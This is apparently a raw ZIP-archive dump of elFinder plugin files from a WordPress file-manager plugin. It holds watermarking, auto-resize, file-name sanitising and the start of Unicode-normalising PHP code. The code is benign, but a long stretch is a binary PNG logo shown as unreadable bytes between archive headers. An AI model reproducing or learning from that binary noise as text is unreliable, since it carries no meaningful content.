            return $this->watermarkPrint_gd($src, $watermark, $dest_x, $dest_y, $quality, $transparency, $watermarkImgInfo, $srcImgInfo, $opts);
        //}
    }

    private function watermarkPrint_imagick($src, $watermarkSrc, $dest_x, $dest_y, $quality, $transparency, $watermarkImgInfo, $opts)
    {

        try {

            // Open the original image
            $img = new Imagick($src);

            // Open the watermark
            $watermark = new Imagick($watermarkSrc);

            // zoom
            if ($opts['ratio']) {
                $watermark->scaleImage($watermarkImgInfo[0], $watermarkImgInfo[1]);
            }

            // Set transparency
            if (strtoupper($watermark->getImageFormat()) !== 'PNG') {
                $watermark->setImageOpacity($transparency / 100);
            }

            // Overlay the watermark on the original image
            $img->compositeImage($watermark, imagick::COMPOSITE_OVER, $dest_x, $dest_y);

            // Set quality
            if (strtoupper($img->getImageFormat()) === 'JPEG') {
                $img->setImageCompression(imagick::COMPRESSION_JPEG);
                $img->setCompressionQuality($quality);
            }

            // set interlace
            $opts['interlace'] && $img->setInterlaceScheme(Imagick::INTERLACE_PLANE);

            $result = $img->writeImage($src);

            $img->clear();
            $img->destroy();
            $watermark->clear();
            $watermark->destroy();

            return $result ? true : false;
        } catch (Exception $e) {
            $ermsg = $e->getMessage();
            $ermsg && trigger_error($ermsg);
            return false;
        }
    }

    private function watermarkPrint_gd($src, $watermark, $dest_x, $dest_y, $quality, $transparency, $watermarkImgInfo, $srcImgInfo, $opts)
    {

        $watermark_width = $watermarkImgInfo[0];
        $watermark_height = $watermarkImgInfo[1];

        $ermsg = '';
        switch ($watermarkImgInfo['mime']) {
            case 'image/gif':
                if (imagetypes() & IMG_GIF) {
                    $oWatermarkImg = imagecreatefromgif($watermark);
                } else {
                    $ermsg = 'GIF images are not supported as watermark image';
                }
                break;
            case 'image/jpeg':
                if (imagetypes() & IMG_JPG) {
                    $oWatermarkImg = imagecreatefromjpeg($watermark);
                } else {
                    $ermsg = 'JPEG images are not supported as watermark image';
                }
                break;
            case 'image/png':
                if (imagetypes() & IMG_PNG) {
                    $oWatermarkImg = imagecreatefrompng($watermark);
                } else {
                    $ermsg = 'PNG images are not supported as watermark image';
                }
                break;
            case 'image/wbmp':
                if (imagetypes() & IMG_WBMP) {
                    $oWatermarkImg = imagecreatefromwbmp($watermark);
                } else {
                    $ermsg = 'WBMP images are not supported as watermark image';
                }
                break;
            default:
                $oWatermarkImg = false;
                $ermsg = $watermarkImgInfo['mime'] . ' images are not supported as watermark image';
                break;
        }


        if (!$ermsg) {
            // zoom
            if ($opts['ratio']) {
                $tmpImg = imagecreatetruecolor($watermarkImgInfo[0], $watermarkImgInfo[1]);
                imagealphablending($tmpImg, false);
                imagesavealpha($tmpImg, true);
                imagecopyresampled($tmpImg, $oWatermarkImg, 0, 0, 0, 0, $watermarkImgInfo[0], $watermarkImgInfo[1], imagesx($oWatermarkImg), imagesy($oWatermarkImg));
                imageDestroy($oWatermarkImg);
                $oWatermarkImg = $tmpImg;
                $tmpImg = null;
            }

            switch ($srcImgInfo['mime']) {
                case 'image/gif':
                    if (imagetypes() & IMG_GIF) {
                        $oSrcImg = imagecreatefromgif($src);
                    } else {
                        $ermsg = 'GIF images are not supported as source image';
                    }
                    break;
                case 'image/jpeg':
                    if (imagetypes() & IMG_JPG) {
                        $oSrcImg = imagecreatefromjpeg($src);
                    } else {
                        $ermsg = 'JPEG images are not supported as source image';
                    }
                    break;
                case 'image/png':
                    if (imagetypes() & IMG_PNG) {
                        $oSrcImg = imagecreatefrompng($src);
                    } else {
                        $ermsg = 'PNG images are not supported as source image';
                    }
                    break;
                case 'image/wbmp':
                    if (imagetypes() & IMG_WBMP) {
                        $oSrcImg = imagecreatefromwbmp($src);
                    } else {
                        $ermsg = 'WBMP images are not supported as source image';
                    }
                    break;
                default:
                    $oSrcImg = false;
                    $ermsg = $srcImgInfo['mime'] . ' images are not supported as source image';
                    break;
            }
        }

        if ($ermsg || false === $oSrcImg || false === $oWatermarkImg) {
            $ermsg && trigger_error($ermsg);
            return false;
        }

        if ($srcImgInfo['mime'] === 'image/png') {
            if (function_exists('imagecolorallocatealpha')) {
                $bg = imagecolorallocatealpha($oSrcImg, 255, 255, 255, 127);
                imagefill($oSrcImg, 0, 0, $bg);
            }
        }

        if ($watermarkImgInfo['mime'] === 'image/png') {
            imagecopy($oSrcImg, $oWatermarkImg, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height);
        } else {
            imagecopymerge($oSrcImg, $oWatermarkImg, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height, $transparency);
        }

        // set interlace
        $opts['interlace'] && imageinterlace($oSrcImg, true);

        switch ($srcImgInfo['mime']) {
            case 'image/gif':
                imagegif($oSrcImg, $src);
                break;
            case 'image/jpeg':
                imagejpeg($oSrcImg, $src, $quality);
                break;
            case 'image/png':
                if (function_exists('imagesavealpha') && function_exists('imagealphablending')) {
                    imagealphablending($oSrcImg, false);
                    imagesavealpha($oSrcImg, true);
                }
                imagepng($oSrcImg, $src);
                break;
            case 'image/wbmp':
                imagewbmp($oSrcImg, $src);
                break;
        }

        imageDestroy($oSrcImg);
        imageDestroy($oWatermarkImg);

        return true;
    }
}
PK���[���"�"Gwp-content/plugins/fileorganizer/manager/php/plugins/Watermark/logo.pngnu�[����PNG


IHDRxx9d6�"�IDATx����P@�f&��m۶-�ٶm۶m۶�g[�u����M2�7�LW�e�����;Io8+���
+���
Ub�,���&M�2�)��D�!Z'ʂ�8��E@��	e�t:��0G�����ҲU�/�v{�/�;��
\%��_�2��`�EBŐ���=�$�7x|��mx��&���ۆ�NN�8~�4Kn,l�UH�2__��F�߾}?~���ITʩ�Ŗ�6�E#��l�Y�}ц�_�_Gm_�jA��<kj&��ϟP�bY���T[�k�D m���_]f|FY��Z�˘J�E��s��(�����~�{Q$	c�"�b�R���+�;{ԩ���Χ
��aR.VT�PA��J��d����Xy	}t���
^�p��8��	Q�`N�,�—/_����>yS'M�Z=*㳆�aVg��Ts��M�aա[Ш�T}%W�$�!�bLܧ���د	NkP�e8z��&׍ϟ?Ô�4��JK���\^/7[�
0w�5 ���7!}΂��c{M���9=���7o�,p����9�t�Ɗ�Nk<2w�L�\Z���ʭ�?�uZ�b����⨮�YC�M�����1\��&Uf}#�ϟ=Ӫ�䟺��&���3�K�h��@���B���gx�
Ш�u4�8��u�R�~�*.l�m�O�q�Hyݵ�H������R'K�In��U�#�L�+p��罺w�\C޼y�z��rS��K�˔���g�Ă�7 i�.1��.�<ˋ����7d˖ҥL��H0��}h޴1�O�\��"��ׯ_�
>~���5���$�s�K��-;�I4�ϼ:A|M+4�A�2x�`�o������;�y�:,]�jT����By��*�̛Ò9.N
�-rH��M$Q�ϓr�0y�y�=�‹�lN�}•+W<
~��
|������P�׆
�L�2>#�6Ej�<;D���+œ]W�-�kf�r�d�,�@���:=	��Kr|£�W/�J�:�xQ(�r5��dk�?v,Y�-,�w�n��������
~��N����E�(đ��=.ʭJy��Ǐ°��u�i�ǎ�����n��7M��rt1�/��;�#g����t2x���>�K�j��Z56���X�2>��n�;�����TlЀ��JV8.v�;2A���7�2c
6���(�d��9�-o��s�o��)S��
~��%��	�>}��H�H�d�O,���{4ͧ�g�O���7�T?ki֧g7�f�$I��Ī�i��mg�`Ɋ��:k�[~�>��wPq,Yt�]��n����/�w�nw7���]�躻ߺ'Tg�ez��3��/��ד�S�^=�N�q�F���O�`+���,�'����~�ꥦ���?�kK��ή�5#�kp*��r�8�\y�+��'ߠ0���GЎ�/�g����_x/�ȵ������:	����8�fd�����h¨07���t�Z��d���7��Qt�
H�����}�M'�,�N�ή:��R){vށ���b55�@sgϢ�[7Sc�z��
�(��o�@����z?�p�4'8�-3�
�5����\h�]�^�D���dmm�9�o��:�����&x߾��.c����(/�6o\��)��Y񲭍�N�!<i��kaa�uU��}�i+S�;/�iŖƧ�V`���T�ֳ�Y�^�����g������r$�b۟�0ưF�l��E�w�v�k�:���n��^j�ξq�����*�9a�)�ϕ���Tg��E	k����oŁ-SQ{f��U��]�5�T��;x�٦�7i5�֬YK���/���4z��=�B-�vZ�����>��Z	���S�`�oڰ�A
E	޴aA>�?WW�/v���>������lm��R����I�2e�@\}�|+�/(�'m>�,�]u�)�9�7�\]��_�����HM�G�-�e4nݼ���0��!���~�X�|���E�V��HpCC�����竷�GL�ɦ�;��;l�0A&f�)�F#�e!ʷ��	y,�����uV�1k�1�_
X}�>9���%bÆ
2�+*H�:���
���[)���ޱc�Ree%A��{ЦM�MFp~N��N!ɸ����ޟ� C/>���δ���t�M���jI���FO"�ĉ:�=��bU����sA�����1{��m2=f�pX����Ǐ�	��Y�ѧ�����l&g�
�I�ڳ-lv�	藘��;;{����~����2I&;g�r��\�8��nt��Q�>Ű�f�{�V����Y�5S����N1[J.#���Ѥ�	�h�6ˏ�%wo\7
��򞹩^�]��D�a=��߽{dY(F0��ϟ��Vl�f�ŵgbZ��-j�mXh1��yCy��S��|�R�^�;y�Z�M��9��f4»SMc� {����_�n�"�J�m��������߫j+�><͗��ՉF#:U_�҂���p[�s=���˟��?�u���I�V�䬡�e���&j�?##�����fU��4�)[6m �(]lb=�X��&����V,���s�2؞����<�'M��WRX1gs��H��I-���Z��
>�ңw���KU=}�IA��S����K}-QG���3��Jx��ͯ�M9��z��o^�k&��X�˘������_�J뽥�� ��Pjc��y1Yق���l����R�a�i��&A���G5�ogmYj�^��`}�����o�?�xz� s�^����l����l����Y���9t� w�p�����r+K�2+Kڳg/��������?�dd������^m��~Q�h��&Z��&a���p�(���l8�2I�Q\�P�wt���gΜA�޽E���@�o~�k�宯��8Ҕƕ��L2�V5�
(��F�Y��wv
ggZ�t�B5�U��N��#"	�J�P'ŝ$�h�a"�l���������z�qU�,���);;�/^B�]�zM��Ç	>���8Z4�R����A��Q���^�eŅ���@�L �\v�Iz�g�ԓ���� ��B�8�zҜ#h#����MAU�v��	M�	+{���?�C�!)�S���O�ɉ���ɺ:\�4Z[Zh�K���b	z݌�}���0Fj���Ŧ���-���UBٌ�FMׯ_�F�ΒOĐ��d1�M�6!Y�`,�W
d��=�-�1T����-���v��m_��1[����_A�T
9S�в�6=evZ^ee	
̐��"A> ���3�����*u�SEoY���N���`)
��Z_�����"�.O�f=hP�d*�����>F�\��[/���həVZ��Y�X��ٰ:$[[;:p�V�^1�ϑ#G�����͛�%T8sn�\�sk���r��!�����-����٧G�^�~�

���Y旎FQ��};:-��z�0�DXX�D�O��ESWD�m�ԒWޢE�)""RWQ��HvS+gҤ��QQ�̻�k��`���L:q��<�S���G��ǖJx�lUU���=�N_GN6Ѣӭ&G�A��!͙S��E��>�PBC���ŋ2Y('��̔�Mسk���QÇ����=K[V"�W*Y��~4n�EZx��l����NU=p�'���QU5A���?�҇N�I�i��g���-�;�*k�)���\���"5������fpp�t���K����?�El��z��Я~�+<�
���ֲ�1-��/2SZk��`➛��t��Q0E�������S�f͖��x�Jf��������FV������=N��t�O���$_>}�N��\�dt*-fo�j�͸��i���.�����I}�	9[2`h����4u�E�7Ư�#'WO�p�r��*ٞ��B�֭�B��iS�6 4h\S�RU�y�6Ѽ��f���)ap9��:ܺuKx�]\\߻�֙��&H376���3AN``��Qr��A�{`�WG���"8-)A�0�x[�
���@g�hG�n~������]�h�%��/�;���Z���v�<���*��B=��{Bn��A��s��|��P�~#aƌ��!󶁬N#w�U�Ix2.��Jnב�0�j�+:Bo���]��sZ������b�Ԏ�_>��za蚓4�d�V[u��|q�ɐ��D.\���4y�0������&o�"xɩ6r�	j�E��t^^���;�ߩ��	���֖f<��!@]_�v��Cu+3�HHݍ�݃m,e�%�y-��v�
�Yl�ή׌1���U`��i`@KK�`�Jŀ�̊��;��Bp��Z�i5 �h��.�lii��z}��/�uDp�Wo\�x��C���q�/m?�ΤY��Z�7^��Z���E�PǏ~���p}�…ҵ�!x�I��ݻ���������;j�d�q�>r��)	��#����-Q��Y��"���ѣ")
c��
€�=�p}̘�|[r���&�}K�,U}#��}Ν;�)O��hc��ơ��˿p�S4��U#J�&~/�>8LH0܍€2��p����}6F@8�Qv��'	�C�X�x�8d�q��!�3-�3��B�q�s�E�Vע%��
֭��P55�ß�=#\>|�Y���C˪]K-X�@x������ؠv�/_�`�(.W��jg�\�%�h�V���&YYI�CXMI0Z0�=�����݌6�J)B��ץ�mٲUxS���~���2�9}� �؏�ޫ�Ȋ�_8uJ
M9Ѣ�1b룴�td%�Y�t�N�۷��LЦ�&�]�e(8Ro��݂��W�aY�}���>�U|�H�c�����Ϝ�sF�H�x�:(�&3�a��sd/��	莳c��a%u	TWϕ��pGH��|E�1�ف�t�}���Ưkht�1��'�D$B��N�5:z�լYMh�; FF0?l�&d�4n�}�t�E+*�ԓ��lB���Ø�H�xII�4�&�?m����=�,>>�����	H��՛\{����IU���O�{��}�4�����M�Q@��%4������P�uԯ`�̨0
�SK)�%�;��*i�����]^�a<,h0f�& �.��-A�&�2������s�P����D��'�ĕ��ֈ臉���&M�h��4b�
��H�
�x�b
Ǒ���C���N�*]��JO4D��C)0J�Of���!�i988��+$��P=k�A�y�xN+޼y����ls��d)�1!�*�6Qձ�.Cx\��5�3����/���
�F�_/rǬ<Ln�*	|�2r=z$������3��=�v�$�2�[[�1�:�Vu {挠�G���X�ّ1m��X%j3/RRRq]�:��(��+���KY�����3.G�
�Cv&�9X���۷4��/�P�0�t�Ln<�[��CH�:��mbD��
÷�B�|���3m�4Y�,;H�	��h28d!I�P��~�b5bْEz����gtb�!�y�݌�ձ�lDR1����b����$����
s"D�bB{њb�C��
�eؿ��p���'ۛ�@6�F`��ы�۶j�`9
jO�u����e��f�\a0ݼ)ir-�9�Dc	�B�����\#��ϝ;w:�N	�ď?�o[���\h���g]�ׯ_E��VrC�Xn�Ou�©/��n���j���ؼh4M�8�ޑ(�r%
�q��iQC��]�j� 3M)�(�4B��ُ�>D����+�g�޲�0~�(<��V�C��Hƞ�����Ń�"��o�A#m�V}�E@x���
ƈ#y��N	99��1z�h6п48`K-�!�>�f,�ʕK��p���n�3���+�F|A�7KH��A��z!GK\Su�����Ԗ�VUU!s�3�D��޸��;|�cG3�<��x�}]��5�jw��n����J6]���[$Tl�E��j6P��H@=ҍ7@8m����o��˗/G6�
Mw�ޅA5H������M_���&�������e�g�R��}��G�0K�g�&�ЈC����q�S����u1[����R%õkW�ܽs[2�pؖ�����/�a�h��	��6*B�{`$%NXK^�}��������p�8~����P[c���� n�D8z����hءf	e[��0�_"`�K�Jr�V����r��<Ä	�ŀ�O�H��H~7u%M��:w
=�" ,�@���#o� ������ևmgm]fkeI�'ۛYۍ����N�:�?���d�d���B��'Ы":g$
9�, I!���Ts�ާ�츉��
��S���".���@��'�OМ����0��k&3�Ѽ�9t�i]�m߆	�_�bam���=O��@���m����G՜�� �x�-��e�>x��V�1�Hw]�x!
��[�֠���� x����{{F��Īq,���},���(B��Q� ��2�����B
�$�k��2١�e��D-�l�X���	����q}�Z�����#~�|9Cf�̏ĸXZ0���6�aq��&n�&?K���{���i�f�S�QͮL5��y*�N�ޫ�~X����`b��d�h�!���8�s���Á�c�5dk s�Iu�9B”��~8[j�#�J�>����
��%�Ts��#�좝���'D�3H�A/,wW�	ƒ��(���	����
?���1+
b���Y>��68�Rκ+T��Y@pB����DH�A<6((X'��٣d��&�.@5I��2�̜����޼q�Г�a��oG��A��� ���J�7���ISW:!�n��~�}�~�T�� ;ei�7�N0Gո1���:
wܨ�*6�
����v�$���5���=�7�>z���u��q�P�W�]��9����.#8,����B��ռ��̞5�T��.k�1c?��r�
�5�;R( ��A�@0��ջ:ӆ�e�Xh��`խTI�C�}�lIFc��	|
������Lh���T��I����Z|�	B;$V\Ɠ�8yQ������dc�7�0��l�!��Ά�G����@�"x��
���Vt�.>���A�]�C)o�ZČ��h���Ȓ5�ّ����K���? �jkky�-Z
6����t�P�q�8P��Q��JWp��l�*�����6�E��'�޷�ۢ�T��0Y�~|4N��(���(+.���΂S}��ӥ������~�
^����7��v<��=����!��d���7�����3��'�h�c�\�H�S���e�}���	0/\ �~d���x@���l�ܓRj�R��&���"�&�ƃj4�LNH�P��#qN���2%1����Y3��P���,ŀ��K�G���ϼ�Ң�D3��V�l0+�ß��S#A�VՒ���N��Ӈʞ��>���K�m�Q��d:g'~4��j���T��0K�
h�[QV���^�͜>U�}%K�5��ʩc�aG����2w7iE��:�f����m��g2v<!�HC�uG�>��v4�P�cG��zW�� �wO֭��g�Ξ)5�v��fa^f������#QƮ&�H\{����uh��OvD�T]��f�\�;�u|��=E�ݿo R��Տ혻�k(�d�O���٭�YT'J3��ǂ۲+��4���Ei;�S#G�7? ��՜3Vv_ܲF����I�͛7�W�^ï�"��@�JAN�K�Gg��:-��~�(afO�:���y�\������0�=���Ϣ䭏(���
�f��ҙ�g�V���/�=Z����ٳg��|��]E��s��a�Ƌ���Uv�O�C?'�Tcg���nY���j�c(��&�0�:�뻭�umߵk�Z�Y}��޾m'��v���ٜ�U���k���U���Ɉ.޼�)��ٔ�M?['w�	^�j�@0��q܎9	~��!?��P������P��&�Ʀ�Y� *f�~���5(�nO�����QZ	F�ɷoߨ�qv0��˖,�i€�=	rmm��U7�m�y�_�m��5K�J=ƭы��S>lo�p�N��hhh���%,l/Wg�?{��̛K8e;9>������.�l�����)�&��t�Q���qZ8I+�I���W�*���[-p�����5�b����˗.
�2�0$�����5ཱི�D'�'��[���,�b�X�h+�?����=UKpp��6!�jj��z�W�Z�}<�	��tWGp�)�<FP�=?���X_�66h%���6�v�)�^���G�{ӣg<%l�+�;paS�*�Y�i���d3YfU3�˴�-`��ޅ&(���s�d�A����U�{�90��V_&���������1��yP
�Ƥ>�r�
y�9�h!�o;��������[5��G��1�eY!o���ca��x&���/
Xp�"i��[��*C9��lFx�6�G��{��;�t��=Q����H�_=�c�w�#zy��7:�7m��p�����ِ�j�Yi)���c-�:��,��}��x����K��x%��6����T�2Ҡ;sn��\��y[f�}M;���Cƅ��}#eW_37�>~Ի7+����[3`�3�K:��@̱�ԁ`��<��T�w���U�MGכϮ�l�{���v�2Z�-���1�=��� �)	~����S�.D,
7����#���:K6��Q�d�wr�U�c�>�a���
x��U��O��������������������_��r���IEND�B`�PK���[�_�44Jwp-content/plugins/fileorganizer/manager/php/plugins/AutoResize/plugin.phpnu�[���<?php

/**
 * elFinder Plugin AutoResize
 * Auto resize on file upload.
 * ex. binding, configure on connector options
 *    $opts = array(
 *        'bind' => array(
 *            'upload.presave' => array(
 *                'Plugin.AutoResize.onUpLoadPreSave'
 *            )
 *        ),
 *        // global configure (optional)
 *        'plugin' => array(
 *            'AutoResize' => array(
 *                'enable'         => true,       // For control by volume driver
 *                'maxWidth'       => 1024,       // Path to Water mark image
 *                'maxHeight'      => 1024,       // Margin right pixel
 *                'quality'        => 95,         // JPEG image save quality
 *                'preserveExif'   => false,      // Preserve EXIF data (Imagick only)
 *                'forceEffect'    => false,      // For change quality or make progressive JPEG of small images
 *                'targetType'     => IMG_GIF|IMG_JPG|IMG_PNG|IMG_WBMP, // Target image formats ( bit-field )
 *                'offDropWith'    => null,       // Enabled by default. To disable it if it is dropped with pressing the meta key
 *                                                // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                // In case of using any key, specify it as an array
 *                'onDropWith'     => null        // Disabled by default. To enable it if it is dropped with pressing the meta key
 *                                                // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                // In case of using any key, specify it as an array
 *            )
 *        ),
 *        // each volume configure (optional)
 *        'roots' => array(
 *            array(
 *                'driver' => 'LocalFileSystem',
 *                'path'   => '/path/to/files/',
 *                'URL'    => 'http://localhost/to/files/'
 *                'plugin' => array(
 *                    'AutoResize' => array(
 *                        'enable'         => true,       // For control by volume driver
 *                        'maxWidth'       => 1024,       // Path to Water mark image
 *                        'maxHeight'      => 1024,       // Margin right pixel
 *                        'quality'        => 95,         // JPEG image save quality
 *                        'preserveExif'   => false,      // Preserve EXIF data (Imagick only)
 *                        'forceEffect'    => false,      // For change quality or make progressive JPEG of small images
 *                        'targetType'     => IMG_GIF|IMG_JPG|IMG_PNG|IMG_WBMP, // Target image formats ( bit-field )
 *                        'offDropWith'    => null,       // Enabled by default. To disable it if it is dropped with pressing the meta key
 *                                                        // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                        // In case of using any key, specify it as an array
 *                        'onDropWith'     => null        // Disabled by default. To enable it if it is dropped with pressing the meta key
 *                                                        // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
 *                                                        // In case of using any key, specify it as an array
 *                    )
 *                )
 *            )
 *        )
 *    );
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPluginAutoResize extends elFinderPlugin
{

    public function __construct($opts)
    {
        $defaults = array(
            'enable' => true,       // For control by volume driver
            'maxWidth' => 1024,       // Path to Water mark image
            'maxHeight' => 1024,       // Margin right pixel
            'quality' => 95,         // JPEG image save quality
            'preserveExif' => false,      // Preserve EXIF data (Imagick only)
            'forceEffect' => false,      // For change quality or make progressive JPEG of small images
            'targetType' => IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP, // Target image formats ( bit-field )
            'offDropWith' => null,       // To disable it if it is dropped with pressing the meta key
            // Alt: 8, Ctrl: 4, Meta: 2, Shift: 1 - sum of each value
            // In case of using any key, specify it as an array
            'disableWithContentSaveId' => true // Disable on URL upload with post data "contentSaveId"
        );

        $this->opts = array_merge($defaults, $opts);

    }

    public function onUpLoadPreSave(&$thash, &$name, $src, $elfinder, $volume)
    {
        if (!$src) {
            return false;
        }

        $opts = $this->getCurrentOpts($volume);

        if (!$this->iaEnabled($opts, $elfinder)) {
            return false;
        }

        $imageType = null;
        $srcImgInfo = null;
        if (extension_loaded('fileinfo') && function_exists('mime_content_type')) {
            $mime = mime_content_type($src);
            if (substr($mime, 0, 5) !== 'image') {
                return false;
            }
        }
        if (extension_loaded('exif') && function_exists('exif_imagetype')) {
            $imageType = exif_imagetype($src);
            if ($imageType === false) {
                return false;
            }
        } else {
            $srcImgInfo = getimagesize($src);
            if ($srcImgInfo === false) {
                return false;
            }
            $imageType = $srcImgInfo[2];
        }

        // check target image type
        $imgTypes = array(
            IMAGETYPE_GIF => IMG_GIF,
            IMAGETYPE_JPEG => IMG_JPEG,
            IMAGETYPE_PNG => IMG_PNG,
            IMAGETYPE_BMP => IMG_WBMP,
            IMAGETYPE_WBMP => IMG_WBMP
        );
        if (!isset($imgTypes[$imageType]) || !($opts['targetType'] & $imgTypes[$imageType])) {
            return false;
        }

        if (!$srcImgInfo) {
            $srcImgInfo = getimagesize($src);
        }

        if ($opts['forceEffect'] || $srcImgInfo[0] > $opts['maxWidth'] || $srcImgInfo[1] > $opts['maxHeight']) {
            return $this->resize($volume, $src, $srcImgInfo, $opts['maxWidth'], $opts['maxHeight'], $opts['quality'], $opts['preserveExif']);
        }

        return false;
    }

    private function resize($volume, $src, $srcImgInfo, $maxWidth, $maxHeight, $jpgQuality, $preserveExif)
    {
        $zoom = min(($maxWidth / $srcImgInfo[0]), ($maxHeight / $srcImgInfo[1]));
        $width = round($srcImgInfo[0] * $zoom);
        $height = round($srcImgInfo[1] * $zoom);
        $unenlarge = true;
        $checkAnimated = true;

        return $volume->imageUtil('resize', $src, compact('width', 'height', 'jpgQuality', 'preserveExif', 'unenlarge', 'checkAnimated'));
    }
}
PK���[8߄T

Iwp-content/plugins/fileorganizer/manager/php/plugins/Sanitizer/plugin.phpnu�[���<?php

/**
 * elFinder Plugin Sanitizer
 * Sanitizer of file-name and file-path etc.
 * ex. binding, configure on connector options
 *    $opts = array(
 *        'bind' => array(
 *            'upload.pre mkdir.pre mkfile.pre rename.pre archive.pre ls.pre' => array(
 *                'Plugin.Sanitizer.cmdPreprocess'
 *            ),
 *            'upload.presave paste.copyfrom' => array(
 *                'Plugin.Sanitizer.onUpLoadPreSave'
 *            )
 *        ),
 *        // global configure (optional)
 *        'plugin' => array(
 *            'Sanitizer' => array(
 *                'enable' => true,
 *                'targets'  => array('\\','/',':','*','?','"','<','>','|'), // target chars
 *                'replace'  => '_', // replace to this
 *                'callBack' => null // Or @callable sanitize function
 *            )
 *        ),
 *        // each volume configure (optional)
 *        'roots' => array(
 *            array(
 *                'driver' => 'LocalFileSystem',
 *                'path'   => '/path/to/files/',
 *                'URL'    => 'http://localhost/to/files/'
 *                'plugin' => array(
 *                    'Sanitizer' => array(
 *                        'enable' => true,
 *                        'targets'  => array('\\','/',':','*','?','"','<','>','|'), // target chars
 *                        'replace'  => '_', // replace to this
 *                        'callBack' => null // Or @callable sanitize function
 *                    )
 *                )
 *            )
 *        )
 *    );
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPluginSanitizer extends elFinderPlugin
{
    private $replaced = array();
    private $keyMap = array(
        'ls' => 'intersect',
        'upload' => 'renames',
        'mkdir' => array('name', 'dirs')
    );

    public function __construct($opts)
    {
        $defaults = array(
            'enable' => true,  // For control by volume driver
            'targets' => array('\\', '/', ':', '*', '?', '"', '<', '>', '|'), // target chars
            'replace' => '_',   // replace to this
            'callBack' => null   // Or callable sanitize function
        );
        $this->opts = array_merge($defaults, $opts);
    }

    public function cmdPreprocess($cmd, &$args, $elfinder, $volume)
    {
        $opts = $this->getCurrentOpts($volume);
        if (!$opts['enable']) {
            return false;
        }
        $this->replaced[$cmd] = array();
        $key = (isset($this->keyMap[$cmd])) ? $this->keyMap[$cmd] : 'name';

        if (is_array($key)) {
            $keys = $key;
        } else {
            $keys = array($key);
        }
        foreach ($keys as $key) {
            if (isset($args[$key])) {
                if (is_array($args[$key])) {
                    foreach ($args[$key] as $i => $name) {
                        if ($cmd === 'mkdir' && $key === 'dirs') {
                            // $name need '/' as prefix see #2607
                            $name = '/' . ltrim($name, '/');
                            $_names = explode('/', $name);
                            $_res = array();
                            foreach ($_names as $_name) {
                                $_res[] = $this->sanitizeFileName($_name, $opts);
                            }
                            $this->replaced[$cmd][$name] = $args[$key][$i] = join('/', $_res);
                        } else {
                            $this->replaced[$cmd][$name] = $args[$key][$i] = $this->sanitizeFileName($name, $opts);
                        }
                    }
                } else if ($args[$key] !== '') {
                    $name = $args[$key];
                    $this->replaced[$cmd][$name] = $args[$key] = $this->sanitizeFileName($name, $opts);
                }
            }
        }
        if ($cmd === 'ls' || $cmd === 'mkdir') {
            if (!empty($this->replaced[$cmd])) {
                // un-regist for legacy settings
                $elfinder->unbind($cmd, array($this, 'cmdPostprocess'));
                $elfinder->bind($cmd, array($this, 'cmdPostprocess'));
            }
        }
        return true;
    }

    public function cmdPostprocess($cmd, &$result, $args, $elfinder, $volume)
    {
        if ($cmd === 'ls') {
            if (!empty($result['list']) && !empty($this->replaced['ls'])) {
                foreach ($result['list'] as $hash => $name) {
                    if ($keys = array_keys($this->replaced['ls'], $name)) {
                        if (count($keys) === 1) {
                            $result['list'][$hash] = $keys[0];
                        } else {
                            $result['list'][$hash] = $keys;
                        }
                    }
                }
            }
        } else if ($cmd === 'mkdir') {
            if (!empty($result['hashes']) && !empty($this->replaced['mkdir'])) {
                foreach ($result['hashes'] as $name => $hash) {
                    if ($keys = array_keys($this->replaced['mkdir'], $name)) {
                        $result['hashes'][$keys[0]] = $hash;
                    }
                }
            }
        }
    }

    // NOTE: $thash is directory hash so it unneed to process at here
    public function onUpLoadPreSave(&$thash, &$name, $src, $elfinder, $volume)
    {
        $opts = $this->getCurrentOpts($volume);
        if (!$opts['enable']) {
            return false;
        }
        $name = $this->sanitizeFileName($name, $opts);
        return true;
    }

    protected function sanitizeFileName($filename, $opts)
    {
        if (!empty($opts['callBack']) && is_callable($opts['callBack'])) {
            return call_user_func_array($opts['callBack'], array($filename, $opts));
        }
        return str_replace($opts['targets'], $opts['replace'], $filename);
    }
}
PK���[�zeX[[Jwp-content/plugins/fileorganizer/manager/php/plugins/Normalizer/plugin.phpnu�[���<?php

/**
 * elFinder Plugin Normalizer
 * UTF-8 Normalizer of file-name and file-path etc.
 * nfc(NFC): Canonical Decomposition followed by Canonical Composition
 * nfkc(NFKC): Compatibility Decomposition followed by Canonical
 * This plugin require Class "Normalizer" (PHP 5 >= 5.3.0, PECL intl >= 1.0.0)
 * or PEAR package "I18N_UnicodeNormalizer"
 * ex. binding, configure on connector options
 *    $opts = array(
 *        'bind' => array(
 *            'upload.pre mkdir.pre mkfile.pre rename.pre archive.pre ls.pre' => array(
 *                'Plugin.Normalizer.cmdPreprocess'
 *            ),
 *            'upload.presave paste.copyfrom' => array(
 *                'Plugin.Normalizer.onUpLoadPreSave'
 *            )
 *        ),
 *        // global configure (optional)
 *        'plugin' => array(
 *            'Normalizer' => array(
 *                'enable'    => true,
 *                'nfc'       => true,
 *                'nfkc'      => true,
 *                'umlauts'   => false,
 *                'lowercase' => false,
 *                'convmap'   => array()
 *            )
 *        ),
 *        // each volume configure (optional)
 *        'roots' => array(
 *            array(
 *                'driver' => 'LocalFileSystem',
 *                'path'   => '/path/to/files/',
 *                'URL'    => 'http://localhost/to/files/'
 *                'plugin' => array(
 *                    'Normalizer' => array(
 *                        'enable'    => true,
 *                        'nfc'       => true,
 *                        'nfkc'      => true,
 *                        'umlauts'   => false,
 *                        'lowercase' => false,
 *                        'convmap'   => array()
 *                    )
 *                )
 *            )
 *        )
 *    );
 *
 * @package elfinder
 * @author  Naoki Sawada
 * @license New BSD
 */
class elFinderPluginNormalizer extends elFinderPlugin
{
    private $replaced = array();
    private $keyMap = array(
        'ls' => 'intersect',
        'upload' => 'renames',
        'mkdir' => array('name', 'dirs')
    );

    public function __construct($opts)
    {
        $defaults = array(
            'enable' => true,  // For control by volume driver
            'nfc' => true,  // Canonical Decomposition followed by Canonical Composition
            'nfkc' => true,  // Compatibility Decomposition followed by Canonical
